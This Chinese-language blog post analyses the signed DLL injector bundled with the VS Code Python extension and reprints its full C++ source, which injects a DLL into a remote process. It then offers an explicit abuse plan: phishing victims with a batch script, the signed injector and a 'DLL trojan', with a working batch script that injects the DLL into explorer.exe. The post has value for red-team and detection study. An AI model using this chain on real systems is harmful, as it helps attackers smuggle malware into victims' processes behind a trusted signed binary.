倾旋的博客

VsCode扩展中的DLL注入器

· 倾旋

安装完毕Python调试扩展后,会在扩展目录中生成一些文件:

0

1

其中以下两个文件是DLL注入器,分别对应X86和X64位操作系统:

  • inject_dll_x86.exe
  • inject_dll_amd64.exe

在windows文件夹中还保留了注入器的源代码:

2

路径:C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows

// inject_dll.cpp
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include <tlhelp32.h>

#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "user32.lib")

// Helper to free data when we leave the scope.
class DataToFree {
public:
    HANDLE hProcess;
    HANDLE snapshotHandle;
    
    LPVOID remoteMemoryAddr;
    int remoteMemorySize;
    
    DataToFree(){
        this->hProcess = nullptr;
        this->snapshotHandle = nullptr;
        
        this->remoteMemoryAddr = nullptr;
        this->remoteMemorySize = 0;
    }
    
    ~DataToFree() {
        if(this->hProcess != nullptr){
            
            if(this->remoteMemoryAddr != nullptr && this->remoteMemorySize != 0){
                VirtualFreeEx(this->hProcess, this->remoteMemoryAddr, this->remoteMemorySize, MEM_RELEASE);
                this->remoteMemoryAddr = nullptr;
                this->remoteMemorySize = 0;
            }
            
            CloseHandle(this->hProcess);
            this->hProcess = nullptr;
        }

        if(this->snapshotHandle != nullptr){
            CloseHandle(this->snapshotHandle);
            this->snapshotHandle = nullptr;
        }
    }
};

/**
 * All we do here is load a dll in a remote program (in a remote thread).
 *
 * Arguments must be the pid and the dll name to run.
 *
 * i.e.: inject_dll.exe <pid> <dll path>
 */
int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] )
{
    std::cout << "Running executable to inject dll." << std::endl;
    
    // Helper to clear resources.
    DataToFree dataToFree;
    
    if(argc != 3){
        std::cout << "Expected 2 arguments (pid, dll name)." << std::endl;
        return 1;
    }
 
    const int pid = _wtoi(argv[1]);
    if(pid == 0){
        std::cout << "Invalid pid." << std::endl;
        return 2;
    }
    
    const int MAX_PATH_SIZE_PADDED = MAX_PATH + 1;
    char dllPath[MAX_PATH_SIZE_PADDED];
    memset(&dllPath[0], '\0', MAX_PATH_SIZE_PADDED);
    size_t pathLen = 0;
    wcstombs_s(&pathLen, dllPath, argv[2], MAX_PATH);
    
    const bool inheritable = false;
    const HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, inheritable, pid);
    if(hProcess == nullptr || hProcess == INVALID_HANDLE_VALUE){
        std::cout << "Unable to open process with pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
        return 3;
    }
    dataToFree.hProcess = hProcess;
    std::cout << "OpenProcess with pid: " << pid << std::endl;
    
    const LPVOID remoteMemoryAddr = VirtualAllocEx(hProcess, nullptr, MAX_PATH_SIZE_PADDED, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(remoteMemoryAddr == nullptr){
        std::cout << "Error. Unable to allocate memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
        return 4;
    }
    dataToFree.remoteMemorySize = MAX_PATH_SIZE_PADDED;
    dataToFree.remoteMemoryAddr = remoteMemoryAddr;
    
    std::cout << "VirtualAllocEx in pid: " << pid << std::endl;
    
    const bool written = WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, nullptr);
    if(!written){
        std::cout << "Error. Unable to write to memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
        return 5;
    }
    std::cout << "WriteProcessMemory in pid: " << pid << std::endl;
    
    const LPVOID loadLibraryAddress = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if(loadLibraryAddress == nullptr){
        std::cout << "Error. Unable to get LoadLibraryA address. Error code: " << GetLastError() << "." << std::endl;
        return 6;
    }
    std::cout << "loadLibraryAddress: " << pid << std::endl;
    
    const HANDLE remoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, 0, nullptr);
    if (remoteThread == nullptr) {
        std::cout << "Error. Unable to CreateRemoteThread. Error code: " << GetLastError() << "." << std::endl;
        return 7;
    }
    
    // We wait for the load to finish before proceeding to get the function to actually do the attach.
    std::cout << "Waiting for LoadLibraryA to complete." << std::endl;
    DWORD result = WaitForSingleObject(remoteThread, 5 * 1000);
    
    if(result == WAIT_TIMEOUT) {
        std::cout << "WaitForSingleObject(LoadLibraryA thread) timed out." << std::endl;
        return 8;
        
    } else if(result == WAIT_FAILED) {
        std::cout << "WaitForSingleObject(LoadLibraryA thread) failed. Error code: " << GetLastError() << "." << std::endl;
        return 9;
    }
    
    std::cout << "Ok, finished dll injection." << std::endl;
    return 0;
}

签名情况:

3

使用方式,只需要两个参数:

  • pid : 目标进程的进程ID
  • dll name: 想要注入目标进程的DLL绝对路径
C:\Users\Administrator\Downloads>inject_dll_amd64.exe
Running executable to inject dll.
Expected 2 arguments (pid, dll name).

测试效果:

4

滥用思路:

  1. 钓鱼的时候可以发送一个BAT批处理脚本、dll注入器、dll木马
  2. BAT批处理:获取x64进程的pid
  3. BAT批处理:获取dll木马绝对路径
  4. BAT批处理:执行dll注入器,将dll木马注入到目标进程中

5

@echo off
set target_process_name=explorer.exe
set dll_name=calc_x64.dll
set injecter=inject_dll_amd64.exe
for /f "tokens=2" %%i in ('tasklist ^| findstr /i "%target_process_name%"') do set "pid=%%i"
set "command=%CD%\%injecter% %pid% %CD%\%dll_name%"
%command%

注意:被注入的DLL文件路径必须是绝对路径才可以注入成功

最后的最后,致谢 @Akkuman